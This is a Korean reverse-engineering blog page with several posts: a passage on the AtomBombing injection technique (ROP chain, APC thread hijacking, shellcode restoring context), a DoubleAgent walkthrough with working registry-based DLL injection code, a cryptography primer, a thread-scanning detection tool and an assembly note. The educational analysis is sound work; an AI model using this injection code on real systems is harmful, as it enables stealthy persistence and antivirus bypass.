구성 ROP Chain 예시는 아래와 같다.

[출처 - Reversenote]


ROP Chain 구성해주는 이유는 위에서 언급한 바와 같이 DEP 우회하기 위함이다. 우 ZwAllocateVirtualMemory() 통해 실행 권한이 있는 메모리를 할당할 것이며, AtomTable 에서 가지고 ShellCode memcpy 사용하여 새로 할당한 메모리로 복사할 것이다


ROP Chain 할당할 대상 메모리 공간은 아래와 같이 구한다. PoC 코드에서는 KernelBase.dll Data 섹션 부분을 지정하고 있다.

ESTATUS main_GetCodeCaveAddress(PVOID *ppvCodeCave)

{

PIMAGE_SECTION_HEADER ptSectionHeader = NULL;

PVOID pvCodeCave = NULL;

HMODULE hNtDll = NULL;

 

hNtDll = GetModuleHandleA("kernelbase.dll");

eReturn = main_GetSectionHeader(hNtDll, DATA_SECTION, &ptSectionHeader);

 

pvCodeCave = (PVOID)((DWORD) hNtDll + ptSectionHeader->VirtualAddress + ptSectionHeader->SizeOfRawData);

*ppvCodeCave = pvCodeCave;

}

 

CoveCave 공격을 위한 pvRemoteROPChainAddress, pvRemoteContextAddress, pvRemoteGetProcAddressLoadLibraryAddress, pvRemoteShellcodeAddress 기록해준다.    




Stage #3


이제 공격을 위한 준비는 모두 완료되었다. 그렇다면 어떻게 대상 스레드가 ROP Chain 이용하여 새로운 메모리로 Shellcode 복사한 실행할 있을까. 이를 위해 사용되는 방법은 아래와 같이 EIP ESP 지정해주는 것이다.

bErr = main_GetThreadContext(hAlertableThread, CONTEXT_CONTROL, &tContext);

if (ESTATUS_FAILED(eReturn))

{

goto lblCleanup;

}

 

tContext.Eip = (DWORD) GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwAllocateVirtualMemory");

tContext.Ebp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;

tContext.Esp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;

 

printf("[*] Hijacking the remote thread to execute the shellcode (by executing the ROP chain).\n\n\n");

eReturn = main_ApcSetThreadContext(hProcess, hAlertableThread, &tContext, pvRemoteContextAddress);

 

ESTATUS main_ApcSetThreadContextInternal(HANDLE hThread, PCONTEXT ptContext)

{

PKNORMAL_ROUTINE pfnSetThreadContext = NULL;

ESTATUS eReturn = ESTATUS_INVALID;

GetFunctionAddressFromDll(NTDLL, NTSETCONTEXTTHREAD, (PVOID *) &pfnSetThreadContext);

 

main_NtQueueApcThreadWrapper(hThread, pfnSetThreadContext, GetCurrentThread(), (PVOID)ptContext, (PVOID)NULL);

}


참고

SetThreadContext 악성 프로세스에서 호출하지 않고, 대상 프로세스에 APC 굳이 넘겨주는 이유는 공격이 끝난 원래의 흐름으로 복구하도록 하기 위함이다. 이에 대해선 Stage #4 확인하자.

 

참고

SetThreadContext(hThread, lpContext) 사용 NtQueueApcThread 사용한다. 경우 전달 있는 인자의 개수가 차이가 있어, Stack 에는 문제가 발생한다. 하지만 EIP 강제로 바꾸는 순간부터 이미 원래의 상태로는 되돌아갈 없다. 따라서 이에 대해서는 신경쓰지 않는다.


대상 스레드의 EIP ZwAllocateVirtualMemory   지정 , Stack ROP Chain 가리키도록 하면 아래와 같은 모습으로 나타낼 있다.


[출처 - Reversenote]



ZwAllocateVirtualMemory 호출한 Return 주소는 memcpy 것이다. 그리고 Stack 아래와 같이 "RETN 18" 인해 0x18 만큼 POP 된다.


위와 같이 진행된 EIP memcpy , Stack 아래와 같이 나타내어진다. 여기서 memcpy 첫번째 인자는 ZwAllocateVirtualMemory 번째 인자가 가리키고 있었기 떄문에, 새로 할당된 주소가 담겨있을 것이다.

[출처 - Reversenote]


Memcpy 진행 EIP RET 가젯을 가리키고 있을 것이다. 결국 2번의 Return 실행되면서 새로 할당된 주소로 Return 하게 된다. 이제 새로 할당 곳으로 복사된 Shellcode 코드가 진행 것이다.

 

 

복사 Shellcode 실행 필요한 인자 등은 이미 위에서 할당해준 것을 이용한다.

pvRemoteROPChainAddress = pvCodeCave;

pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);

pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);

pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;

eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);



Stage #4


공격자가 원하는 코드가 진행된 , 사용 스레드는 원래의 동작을 수행하도록 되어야 한다. 그렇지 않으면 사용자가 이상징후를 감지할 있다강제로 바뀌어 버린 EIP, 이에 대해 어떻게 원래의 동작을 수행하게끔 있을까. 이를 알기 위해선 APC 함수를 분배하는 함수인 Ntdll!KiUserApcDispatcher() 대해 알아야 한다.


정상적인 경우 해당 함수는 아래와 같이 동작하며 아래 예에서는 CALL EAX 통해 Queueing APC 함수를 실행한다그리고 APC 함수를 완료한 기존에 EDI 담긴 CONTEXT NtContine 한다.


참고

여기서부터는 악성프로세스가 아닌 실행 Shellcode 에서 구현되어야 하는 부분이다.

 

하지만 NtQueueApcThread(...SetThreadContext…) 실행시키고자 하는 경우 그림의 CALL EAX 에서 Return 수는 없다. 하지만 만약 CALL EAX 하기 , EDI 저장된 CONTEXT 내용을 보존할 있다면, 이야기는 달라진다.

 

공격자는 EDI 담긴 CONTEXT 저장하기 위해, Shellcode 도입부에 아래와 같은 명령어를 사용한다.

 

void shellcode_entry()

{

...

__asm{

mov[ptContext], edi;

}

...

}

 

하지만 KiUserApcDispatcher 에서의 CALL EAX 부터, Sehllcode 도입부까지 EDI 변경되지 않음을 확실히 하기 위해 CONTEXT 구조체의 ContextFlags 설정하는 것이다. CONTEXT_CONTROL flag 설정되면 EIP, EBP, ESP, EFLAGS, SEGSS, SEGCS 제외한 다른 값은 수정되지 않는다.


 

도입부에서 CONTEXT 저장한 원하는 동작을 수행한다. 그리고 동작을 끝낸 , 이전에 저장한 CONTEXT 가지고 와서 NtContinue 호출해주면, 원래 저장된 CONTEXT 내용을 실행하게 것이다.

void shellcode_entry()

{

...

__asm{

mov[ptContext], edi;

}

...

pfnWinExec(pszCalcExe, 0);

pfnZwContinue(ptContext, 1);

}



Reference


Github, BreakingMalwareResearch : Atom-bombing

* https://github.com/BreakingMalwareResearch/atom-bombing

 

Blog, BreakingMalware : "AtomBombing: Brand New Code Injection for Windows"

* https://breakingmalware.com/injection-techniques/atombombing-brand-new-code-injection-for-windows/

 

Blog, Reversenote : "Atombombing - Stage 1 ~ 3"

* http://www.reversenote.info/atombombing-stage1/

 

MSDN, Windows API

* https://msdn.microsoft.com

 

Ntinternals, Undocumented : NTAPI

* https://undocumented.ntinternals.net/

 

Egloos, himskim : "APC 대하여" ; Alertable Thread 에 대해 쉽게 설명

* http://himskim.egloos.com/1053865

'Reversing > Theory' 카테고리의 다른 글

Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28
DoubleAgent 공격  (1) 2017.03.28
암호학 기초 개념  (2) 2016.11.23
Memory Detection(메모리 진단)  (0) 2016.09.26

Comment +0


최근 Cybellum 에서는 대다수의 안티바이러스 제품에 적용되는 Zero-Day 취약점 "Double Agent" 를 발표. 해당 공격의 아래의 기능을 사용한 공격

* MS의 개발자 검증도구인 "Microsoft Application Verifier" 을 사용

* 본래 목적은 런타임 검증도구로 오류를 신속하게 감지 및 수정할 수 있는 용도로 사용

* Double Agent 공격의 경우 이를 통해 원하는 DLL 을 Injection


공격 가능 대상

* 모든 버전의 Windows (Windows XP to Windows 10)

* 모든 Windows architecture (x86 and x64)

* 모든 Windows 사용자 (SYSTEM/Admin/etc.)

* 모든 대상 프로세스 (OS/Anti-Virus/etc.)


코드 인젝션

* 원하는 DLL 을 어떠한 프로세스에도 인젝션 할 수 있게 함

* DLL 인젝션은 프로세스 실행 과정 중 빠른 순위로 이루어짐 (Kernel32.dll 이나 TLS 보다 먼저)

* 발표 시점 기준으로 대부분의 Anti-Virus 에도 공격이 가능


지속성

* 재부팅 뿐만 아니라 업데이트/패치/재설치 등에 대해서도 지속 가능한 공격 기법

* 해당 프로그램 재설치에 대해서도 지속 가능


공격 요소

* Anti-Virus 와 차세대 Anti-Virus 공격 : 모든 자체 보호 매커니즘을 우회하면서 코드를 인젝션하여 Anti-Virus 제어

* 지속형 악성코드 설치 : 악성코드가 살아남아 재부팅 시에도 자동으로 실행되도록 설치

* 권한 하이재킹 : 신뢰할 수 있는 프로세스의 권한을 하이재킹하여 신뢰할 수 있는 프로세스로 위장

* 프로세스 동작 조작 : 백도어 설치나 암호화 알고리즘 약화 등의 조작

* 다른 사용자/세션 공격 : 다른 사용자와 세션(SYSTEM/Admin/etc.) 프로세스에 코드를 인젝션


대상 지정

해당 공격은 지정된 FULL 경로에 해당하는 프로그램이 아닌, 프로그램의 이름만으로 대상을 공격 가능

* 대상 이름을 cmd.exe 로 해놓은 경우 C\cmd.exe 와 C;\Windows\System32\cmd.exe 둘 다 실행 시 인젝션이 진행

* 대상 이름의 프로세스가 실행 될 때마다 매번 인젝션이 진행




코드


아래와 같이 레지스트리를 등록해야 함

RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes));

RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD, &amp;dwGlobalFlag, sizeof(dwGlobalFlag)));


이때, 인젝션하고자 하는 DLL 이 다음의 경로에 위치 해야 함

C:\Windows\System32\[인젝션 할 DLL명].dll


레지스트리 경로와 값은 아래와 같다.

  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName

  VerifierDlls : Target.dll  , GlobalFlag : 0x100




공격


공격을 하기 위해 제작한 프로그램의 코드는 아래와 같다. 이때 Inject.dll 은 System32 에 존재해야 한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <Windows.h>
#include <stdio.h>
 
int main()
{
    HKEY hKey;
    DWORD dwFlag = 0x100;
    LPCWSTR DllName = L"Inject.dll";
 
    /* Get Key Handle - target process name is cmd.exe */
    RegCreateKeyExW(
        HKEY_LOCAL_MACHINE,
        L"Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\cmd.exe",
        0NULL0, KEY_ALL_ACCESS, NULL&hKey,NULL);
 
    /* Set Registry */
    RegSetValueExW(
        hKey, L"VerifierDlls"0, REG_SZ, (LPBYTE)DllName, (lstrlenW(DllName) + 1* sizeof(WCHAR));    
    RegSetValueExW(
        hKey, L"GlobalFlag"0, REG_DWORD, (BYTE *)&dwFlag, sizeof(dwFlag));
        
    RegCloseKey(hKey);
    return 0;
}
cs


위 코드를 제작한 프로그램을 실행 후 대상 프로세스인 cmd.exe 를 실행하였다. 실행 결과 Inject.dll 이 인젝션 된 것을 확인할 수 있다. 한가지 자세히 볼 점은 notepad.exe (메모장) 의 이름도 cmd.exe 로 변경한 결과, 인젝션이 이루어진 것을 확인 할 수 있다. 이는 위에서 언급한바와 같이 대상 프로세스의 전체 경로가 아닌 프로세스 이름만 확인 후 공격이 이루어지기 때문이다.





참고자료


원본 자료에는 Anti-Virus 의 레지스트리 설정 보호 우회에 대해서도 나와있다. 궁금하면 해당 자료를 읽어보는 것을 추천한다.

* POC 코드 : https://github.com/Cybellum/DoubleAgent

* 원문 블로그 : https://cybellum.com/doubleagent-taking-full-control-antivirus/

* 상세 내용 : https://cybellum.com/doubleagentzero-day-code-injection-and-persistence-technique/

* 기타 참조 : http://kitrap08.blogspot.kr/2011/04/application-verifier.html


'Reversing > Theory' 카테고리의 다른 글

Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28
DoubleAgent 공격  (1) 2017.03.28
암호학 기초 개념  (2) 2016.11.23
Memory Detection(메모리 진단)  (0) 2016.09.26
Assembly로 보는 코드, strcmp 문자열 비교  (0) 2016.08.08

Comment +1

 개요

최근 끊임 없이 랜섬웨어로 인한 피해가 지속적으로 나타나며 랜섬웨어는 더 이상 악성코드와 관련 있는 사람들만의 관심사가 아니다. 랜섬웨어로 인한 피해를 일반 사용자뿐만 아니라 기업 등에서도 나타나고 있어 주의가 필요하다. 본 문서에서는 랜섬웨어를 이해하기 위한 기초 지식인 암호학에 대하여 개략적으로 다루고자 한다. 암호학에 대해 하나도 모르는 필자로서 쓴 글이기에 깊은 내용보다는 쉽게 이해하는 것을 목표로 할 것이다.

 

암호학

암호학은 정보를 보호하기 위한 언어학적 및 수학적 방법론을 다루는 학문으로 수학을 중심으로 컴퓨터, 통신 등 여러 학문 분야에서 공동으로 연구, 개발되고 있다. 암호학은 쉽게 평문 메시지를 변환하여 암호문을 만드는 암호화 과정과, 반대로 암호문을 다시 평문으로 변환하는 복호화 과정에 대한 연구이다. 암호학을 통해 제공하고자 하는 목표에는 다음과 같은 것이 있다.

기밀성

무결성

가용성

부인 봉쇄


대칭키

대칭키 암호 방식에서는 암호화에 사용되는 암호화키와 복호화에 사용되는 복호화키가 동일하다는 특징이 있다. 쉽게 아래 그림과 같이 A와 B가 서로 통신하는 상황에 대하여 알아보자. A는 자신이 가진 KEY 1로 평문을 암호문으로 암호화한다. 그리고 암호화된 내용을 B에게 전달하면, B는 A와 동일한 키(KEY 1)로 이를 평문으로 복호화한다. 쉽게 두 사람 모두 동일한 키를 가지고 있어야 한다. 만약 다른 키를 가지고 있을 경우에는 전혀 다른 내용으로 복호화가 진행될 것이다.

반대로 B가 A에게 보내는 경우에도 B가 자신의 키인 KEY 1로 암호화를 진행한 뒤, 암호문을 A에게 전송한다. A는 KEY 1로 복호화를 진행하여 올바른 평문을 얻을 수 있다.


[그림 1] 대칭키를 통한 A와 B의 통신

이러한 특징으로 인해 송신자와 수신자 이외에는 해당 키가 노출되지 않아야 한다. 만약 이 키가 노출될 경우 A, B가 아닌 제 3자가 암호문을 해독할 수 있게 된다. 이러한 의미에서 대칭키 암호화 방식은 '비밀키 암호(Secret-Key Cryptosystem)'이라고도 한다.

이 암호 방식은 알고리즘의 내부 구조가 간단한 치환과 조합으로 되어 있어 알고리즘을 쉽게 개발할 수 있고 컴퓨터 시스템에서 빠르게 동작한다. 이는 암호화 연산 속도를 보장해주어 효율적인 암호 시스템을 구축할 수 있도록 해준다.

하지만 위에서 언급하지 않은 문제점이 있다. 해당 통신 환경의 사용자가 더 많아지는 경우에는 각 키를 관리하기 어려워진다. 위의 예에서 두 사용자는 서로의 키를 공유하고 있어 원활한 통신이 이루어질 수 있었다. 사용자가 세 명인 경우에는 다음과 같은 그림으로 나타낼 수 있다.


[그림 2] 대칭키를 통한 A, B, C의 통신

전체적인 동작 과정은 그림 1에서와 같으며 단지 사용자가 세명으로 증가한 모습이다. 앞선 예에서는 A와 B가 통신하기 위해 키가 1개 필요하였다. 하지만 C가 추가된 시점에서 세 명 모두 하나의 키로만 통신을 할 경우 A와 B의 통신 내용을 C가 해독할 수 있게 된다. 반대로 B와 C가 통신하거나 A와 C가 통신한 경우에도 수신자와 송신자가 아닌 제 3자도 해당 키를 가지고 있기 때문에 해독이 된다. 이는 암호화의 의미가 흐려지는 상황이 되어버린다. 결국 각각의 암호화된 통신을 보장하기 위해서는 각각의 통신 경로 따른 키가 존재하여야 한다. 이 경우에는 키가 3개가 있어야 한다.

마지막으로 4명인 경우에 대하여 알아보자. 아래 그림과 같이 각각의 보장된 통신을 위해서는 총 개의 키가 존재하여야 한다. 결국 해당 환경에 존재하는 사용자의 수보다 많은 키가 존재하게 되는 것이다. 각 개인은 n-1개의 키를 관리해야하는 부담이 생기며, 주어진 환경에서의 키 개수는 n(n-1)/2이 된다. 이는 매우 큰 단점으로 작용한다.

[그림] 대칭키를 통한 A, B, C, D의 통신

이러한 단점에도 불구하고 빠른 속도와 효율성을 제공해주기 때문에 빠르게 처리해야 하거나 단순한 암호화 시스템에서는 아직도 사용되고 있다. 대표적인 암호 알고리즘은 다음과 같다.

DES (Data Encryption Standard)

AES (Advanced Encryption Standard)

SEED

HIGHT (High security and light weight)

 

비대칭키

비대칭키 암호화 방식은 공개키 암호라고도 한다. 이는 대칭키(비밀키) 암호와 달리 송신자와 수신자가 다른 키를 사용하여 암호화된 통신을 수행한다. 송신자는 수신자의 공개키에 해당하는 정보를 사용하여 데이터를 암호화하여 네트워크를 통해 전송한다. 수신자는 자신의 공개키에 해당하는 비밀키로 암호화된 데이터를 복호화하여 평문을 복원한다.

아래 그림과 같이 나타낼 수 있다. 각 개인은 서로 자신만의 고유한 두 가지 키를 갖는다. 하나는 공개키(그림에서의 P)이며, 다른 하나는 개인키(그림에서의 S)이다. 여기에 통신하고자 하는 대상의 공개키를 갖고 있어야 한다. 우선 A가 B에게 암호화된 메시지를 보내려는 경우 A는 자신이 보내고자 하는 내용을 B의 공개키로 암호화하여 전송한다. 자신의 공개키로 암호화된 내용을 받은 B는 자신의 개인키로 암호화된 내용을 복호화 한다.

반대로 B가 A에게 암호화된 메시지를 보내려 하는 경우 B는 A의 공개키로 암호화를 하여 전송한다. 자신의 공개키로 암호화된 내용을 받은 A는 이제 자신의 개인키로 암호화된 내용을 복호화 한다.


[그림] 비대칭키를 통한 A와 B의 통신

해당 환경에서 사용자의 수가 늘어난 경우를 살펴보자. 아래 그림은 총 3명의 사용자가 존재하고 있다. 이 경우 송신자는 수신자의 공개키(P)로 암호화를 진행한 뒤 암호문을 전송한다. 수신자의 입장에서는 자신의 공개키로 암호화가 되었으므로 자신이 가진 개인키(S)로 복호화를 진행할 수 있다. A가 B와 통신하고자 하는 경우 KEY B.P를 가지고 암호화를 진행 후 전송한다. B는 암호문을 자신의 B.S로 복호화를 진행한다.


[그림] 비대칭키를 통한 A, B, C의 통신

비대칭키 암호는 다른 유저와 키(개인키)를 공유하지 않고 공유키만을 공유하면 되기에 보다 안전한 통신이 가능해진다. 개인키만 안전하게 관리된다면 공개키에 대응되는 키를 가진 사람만이 복호화를 할 수 있는 특징을 지닌다. n명의 사용자로 구성된 네트워크를 고려하면 각 사용자는 공개키와 비밀키 두 개를 보유하고 있으므로 네트워크 전체적으로 2n개의 키가 요구된다. 그리고 각 유저는 2개의 키만 보유하고 있으면 된다.

수학적인 난제를 기반으로 설계되어 있고, 암호화나 복호화를 수행하기 위한 연산이 복잡하게 구성되어 있기 때문에 암호화에 대한 효율성은 대칭키에 비하여 높지 않다. 하지만 각 키 관리의 이점으로 인해 많은 곳에서 사용하고 있다. 대표적인 비대칭키 암호 알고리즘은다음과 같다.

RAS (Rivest, Shamir and Adleman)

EIGamal

ECC (Elliptic Curve Cryptosystem)

Digital Signature

 

참고

  • https://ko.wikipedia.org/wiki암호학
  • http://sostarzia.tistory.com/24
  • https://seed.kisa.or.kr/iwt/ko/intro/EgovCryptographic.do
  • https://seed.kisa.or.kr/iwt/ko/intro/EgovPublicKey.do


'Reversing > Theory' 카테고리의 다른 글

Atombombing 기법  (0) 2017.05.28
DoubleAgent 공격  (1) 2017.03.28
암호학 기초 개념  (2) 2016.11.23
Memory Detection(메모리 진단)  (0) 2016.09.26
Assembly로 보는 코드, strcmp 문자열 비교  (0) 2016.08.08
WFP 무력화  (0) 2016.06.21

Comment +2

1.  Introdution

특정 악성코드 파일을 찾고자 할 때 우리가 사용할 수 있는 방법은 각 파일의 HASH 값을 비교한다거나 특정 바이너리가 그 파일에 포함되어 있는지 확인하는 등의 방법이 있다. 그렇다면 어떤 악성코드가 다른 정상적인 프로세스에 인젝션하여 동작하는 경우에는 어떻게 진단해야 할까? 파일로 존재하는 악성코드는 파일의 바이너리를 비교하여 쉽게 찾을 수가 있을 것이다. 하지만 파일의 형태가 아닌 프로세스로 메모리에 존재하는 경우는 위와 같은 방법으로 접근할 수 없을 것이다.

위 경우가 실제로 존재할까라고 생각할 수 있지만, 인젝션 방식을 사용하는 악성코드가 꽤 많이 존재한다. 물론 explorer.exe notepa.exe 와 같이 특정 프로세스에만 인젝션 한다면 상대적으로 처리가 쉬워질 것이다. 하지만 특정 프로세스가 아닌 임의의 프로세스에 인젝션 한다면 매우 번거로워질 것이다. 일반적인 사용자의 PC 에서 평소에 돌고 있는 프로세스의 수는 결코 적지 않을뿐더러 각 프로세스가 하나 이상의 스레드를 가진다는 점을 생각하면 문제는 더 복잡해진다. 따라서 이번 문서에서는 이러한 문제를 해결하기 위한 코드를 제작해보려 한다.


2. Body

이번 문서에서의 주 목적은 특정 코드를 가진 스레드를 찾는 것이다. 그러므로 파일을 탐색할 때 FindFirstFile FindNextFile API 를 사용하듯이 스레드를 탐색하는 API 를 사용할 것이다. 윈도우 환경에서 시스템의 스레드를 열거하는 가장 편리한 방법은 바로 ToolHelp 라이브러리를 사용하는 것이다. 해당 라이브러리는 프로세스, 스레드, 모듈 열거와 관련된 라이브러리로 가장 중요한 함수는 바로 CreateToolhelp32Snapshot API 이다. 이 함수는 호출 시점에 시스템 정보에 대한 스냅샷을 만들어주는 역할을 한다. 여기서 dwFlags TH32CS_SNAPTHREAD 를 전달하면 시스템에서 실행되고 있는 스레드 스냅샷을 생성할 수 있다

1
2
3
HANDLE WINAPI CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
BOOL WINAPI Thread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte);
BOOL WINAPI Thread32Next(HANDLE hSnapshot, LPTHREADENTRY32 lpte);
cs

스냅샷 핸들을 통해 스레드 탐색을 시작할 수 있다. Thread32First Thread32Next API 의 인자를 보면 스냅샷 핸들과 THREADENTRY32 형태의 인자를 받는 것을 확인할 수 있다. 해당 구조체는 아래와 같은 구조를 가진다. 구조체에는 스레드 ID 와 스레드가 속한 프로세스의 ID 값까지 존재하고 있는 것을 확인할 수 있다.

1
2
3
4
5
6
7
8
9
typedef struct tagTHREADENTRY32 {
    DWORD dwSize;
    DWORD cntUsage;
    DWORD th32ThreadID;
    DWORD th32OwnerProcessID;
    LONG  tpBasePri;
    LONG  tpDeltaPri;
    DWORD dwFlags;
} THREADENTRY32, *PTHREADENTRY32;
cs

지금까지의 과정을 코드로 나타내면 다음과 같다. 여기서 유의해야 할 점은 Thread32First API 를 호출하기 전에 THREADENTRY dwSize 를 초기화 해주어야 한다. 이를 초기화 해주지 않으면 Thread32First 함수는 실패하게 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
THREADENTRY32 t32;
HANDLE hSnap;
 
/* Create a Snapshot Handle */
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap == INVALID_HANDLE_VALUE)
    return 0;
/* if you do not initialize THREADENTRY32.dwSize, Thread32First API fails */
t32.dwSize = sizeof(THREADENTRY32);
if (Thread32First(hSnap, &t32))
{
    do
    { /* insert code what you want */
        …
    } while (Thread32Next(hSnap, &t32));
}
CloseHandle(hSnap);
 
cs

스레드의 목록과 스레드가 속한 프로세스의 ID 정보를 출력하는 프로그램을 구현할 수 있게 되었다. 하지만 우리는 특정 코드가 포함된 스레드를 찾는 것이 목표이므로 계속해서 알아보자. 다음으로 알아볼 것은 탐색한 스레드의 Start Address 이다. 일반적인 경우 Code Injection 을 수행할 때 VirtualAllocEx 를 통해 할당한 공간에 코드를 기록한 뒤, 이 할당된 공간의 주소를 스레드가 실행하도록 CreateRemoteThread 의 인자로 넘겨준다. 따라서 우리는 스레드의 시작 위치를 알아낸 후 그곳의 코드 및 바이너리를 비교하면 된다.

스레드의 시작 위치를 알아내기 위한 핵심 API Ntdll.dll NtQueryInformationThread 이다. API 는 특정 스레드에 대한 정보를 얻기 위한 API 로 두 번째 인자인 ThreadInformationClass ThreadQuerySetWin32StartAddress(0x9) 를 넘겨주면 세 번째 인자 ThreadInformation 에 스레드의 시작 주소를 반환해준다.

1
2
3
4
5
6
7
8
NTSTATUS WINAPI NtQueryInformationThread(
    _In_      HANDLE            ThreadHandle,
    _In_      THREADINFOCLASS  ThreadInformationClass,
    _Inout_   PVOID              ThreadInformation,
    _In_      ULONG             ThreadInformationLength,
    _Out_opt_ PULONG           ReturnLength
);
 
cs

Ntdll 의 함수를 사용하기 위해 LoadLibrary 를 통해 해당 모듈을 로드하고 GetProcAddress 를 통해 우리가 사용하고자 하는 NtQueryInformationThread 의 주소를 가지고 올 것이다. 다음과 같은 코드로 구성할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
typedef NTSTATUS(WINAPI *NtQueryInfoThread)(HANDLE, ULONG, PVOID, ULONG, PULONG);
 
PVOID ThreadInfo;
ULONG ThreadInfoLength;
PULONG ReturnLength;
NtQueryInfoThread NtQueryInformationThread;
 
HMODULE hNtdll = LoadLibrary("ntdll.dll");
NtQueryInformationThread = (NtQueryInfoThread) GetProcAddress(hNtdll, "NtQueryInformationThread");
 
if (!NtQueryInformationThread)
    return FALSE;
 
/* if THREADINFOCALSS is a ThreadQurtySetWin32StartAddress, return start address of thread */
HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, 0, tid);
NTSTATUS NtStat = NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, &ThreadInfo, sizeof(ThreadInfo), NULL);
 
return TRUE;
 
cs

이제 탐색한 스레드의 시작 주소를 알 수 있으니, 그곳에 있는 데이터를 읽어와 우리가 비교하고자 하는 데이터와 비교해볼 것이다. 이 부분은 오히려 쉽다. 아래 코드와 같이 OpenProcess 를 통해 스레드가 속한 프로세스의 핸들을 얻고 ReadProcessMemory 의 인자로 위에서 얻은 스레드 시작 주소를 넘겨주면 된다. 그리고 한 바이너리씩 비교하면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
CHAR Buffer[0x100];
CHAR CmpCode[0x100= { '\x6A''\x00''\x68''\x00''\x20', ….};
DWORD NumberofByteRead;
HANDLE hProc = OpenProcess(PROCESS_VM_READ, 0, t32.th32OwnerProcessID);
ReadProcessMemory(hProc, EntryPoint, Buffer, 0x100&NumberofByteRead);
 
for (int i = 0; i < sizeof(CmpCode); i++)
{
    if ((BYTE) CmpCode[i] != (BYTE)Buffer[i])
    {
        return FALSE;
    }
}
return TRUE;
cs

이를 통해 프로그램을 제작한 뒤 테스트를 하기 위해 Reverse_L01.exe 란 프로그램을 선택하였다. 해당 프로그램은 아주 간단한 프로그램으로 본 코드가 0x67 정도밖에 되지 않는다.

이 코드를 기준 바이너리로 하여 각 스레드의 시작 주소에서 0x67 의 크기를 비교할 것이다. 테스트를 위해 해당 프로세스를 8개 실행하였다.

실행 결과 아래 그림과 같이 8개 모두 선별해낸 것을 확인할 수 있다.


3. Conclusion

다소 간단한 코드를 제작해보았다. 하지만 파일로 진단할 수 없는 악성코드의 경우 이 코드를 기반으로 진단 프로그램을 만들 수 있을 것이다. 그렇다면 진단만으로 무엇을 할 수 있을까? 사실 진단은 그에 따른 조치를 취하기 위한 이전 단계라 할 수 있다.

분석한 악성코드의 내용에 따라 해당 프로세스를 종료시키거나 특정 스레드만 걸러내어 ResumeThread 와 같은 API 를 사용하여 동작하지 않도록 할 수 있다. 이러한 추가적인 동작은 추후에 다루어 보자.

악성코드를 다루며 분석에만 집중하는 것도 중요하지만, 실제 기업이나 고객은 조치를 원할 것이다. 따라서 충분한 분석이 이루어졌다면 다른 샘플을 보는 것이 아니라, 진단이나 치료 코드를 제작해보는 것이 매우 큰 도움이 될 것이라 생각한다.


Reference

[+] Microsoft, MSDN API : https://msdn.microsoft.com/

[+] 괴짜 프로그래머의 일상사, “스레드 열거하기” : http://www.jiniya.net/wp/archives/7676

'Reversing > Theory' 카테고리의 다른 글

DoubleAgent 공격  (1) 2017.03.28
암호학 기초 개념  (2) 2016.11.23
Memory Detection(메모리 진단)  (0) 2016.09.26
Assembly로 보는 코드, strcmp 문자열 비교  (0) 2016.08.08
WFP 무력화  (0) 2016.06.21
DLL이란?  (3) 2016.05.29

Comment +0

* 컴파일한 어셈블리 코드는 컴파일러나 속성 등 여러 요인에 따라 많이 상이 할 수 있습니다.

우선 문자열 비교를 위한 코드는 아래와 같다. buf1 에는 "Compare" 라는 문자열을 저장해놓고 buf2 에는 사용자로부터 입력을 받도록 하였다. 그리고 strcmp 를 통해 두 값을 비교하는 코드이다. 

위 코드에서 strcmp 부분의 어셈블리 코드는 아래와 같다. 여기서 buf2 에 "Comparz" 를 넣어주므로 ARG.1 에는 "Compare", ARG.2 에는 "Comparz" 가 위치하게 된다. 눈으로 한번 살펴본 뒤 이에 대한 자세한 설명을 읽어보자.

우선 strcmp(buf1, buf2) 에서 buf1 은 "Compare" 이고 buf2는 "Comparz" 라는 문자열을 입력해주었다. 스택에 들어있는 각 문자열을 EDX 와 ECX 레지스터에 넣어준다.

첫 줄에서 EDX 에 있는 기준 문자열 4 Bytes 를 EAX 로 복사한다. 이를 통해 EAX 에는 0x706D6F43 이 오게 된다. 얼핏 보면 함수의 주소 같지만 "Comp" 라는 문자에 해당하는 ASCII 값이다. 두 번째 줄부터 CMP 명령어가 나타난다. CMP 명령어는 두 값을 비교할 때 사용되는 명령어이다. AL 은 EAX 의 하위 1 Byte 로 0x43("C") 가 된다. 이 "C" 와 사용자가 입력한 문자열("Comparz") 의 첫 번째 문자를 비교한다.


AL 과 ECX 의 첫 글자가 일치한다면 ZF 는 1로 설정되어 JNE 에서 점프하지 않는다. 그리고 TEST AL, AL 은 비교한 두 문자가 0 인지 확인하는 명령어로, 두 문자 모두 0 이라면 ZF 가 1로 설정되어 JZ 에서 점프하여 RETN 으로 간다.

